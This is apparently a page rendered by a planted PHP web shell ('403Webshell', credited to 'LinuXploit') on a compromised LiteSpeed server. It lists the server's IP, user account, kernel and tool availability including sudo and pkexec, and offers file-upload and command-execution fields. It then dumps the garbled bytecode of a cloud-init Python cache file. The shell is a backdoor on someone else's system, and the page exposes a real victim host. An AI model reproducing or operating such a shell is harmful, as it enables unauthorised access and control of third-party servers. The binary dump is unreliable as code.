403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.93
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/raspberry_pi_os.cpython-310.pyc
o

쑛h��@s@ddlZddlmZddlmZe�e�ZGdd�dej�ZdS)�N��subp)�debiancsFeZdZdedededefdd�Zdd	d
�Zdef�fdd
�Z�ZS)�Distro�layout�model�variant�optionscCst�dd|g�dS)zKCurrently Raspberry Pi OS sys-mods only supports
        setting the layoutz+/usr/lib/raspberrypi-sys-mods/imager_custom�
set_keymapNr)�selfrrrr	�r�C/usr/lib/python3/dist-packages/cloudinit/distros/raspberry_pi_os.pyr
s��zDistro.set_keymapN�LANGc
Cspz
t�ddd|�g�WdStjy7|�d�s/t�d|�t�ddd|�d�g�YdSt�d�YdSw)Nz/usr/bin/raspi-config�nonint�do_change_localez.UTF-8zTrying to set locale %s.UTF-8zFailed to set locale %s)r�ProcessExecutionError�endswith�LOG�info�error)r�locale�out_fn�keynamerrr
�apply_locales(�
�
�
�	�zDistro.apply_locale�returnc
snt�j|fi|��}|s|Sztjgd�d|id�WdStjy6}z
t�d|�WYd}~dSd}~ww)z�
        Add a user to the system using standard GNU tools

        This should be overridden on distros where useradd is not desirable or
        not available.

        Returns False if user already exists, otherwise True.
        )z/usr/bin/rename-userz-fz-s�	SUDO_USER)�
update_envzFailed to setup user: %sNFT)�super�add_userrrrr)r�name�kwargs�result�e��	__class__rr
r4s	�
���zDistro.add_user)Nr)	�__name__�
__module__�__qualname__�strr
r�boolr�
__classcell__rrr#r
rs
r)	�logging�	cloudinitr�cloudinit.distrosr�	getLoggerr%rrrrrr
�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit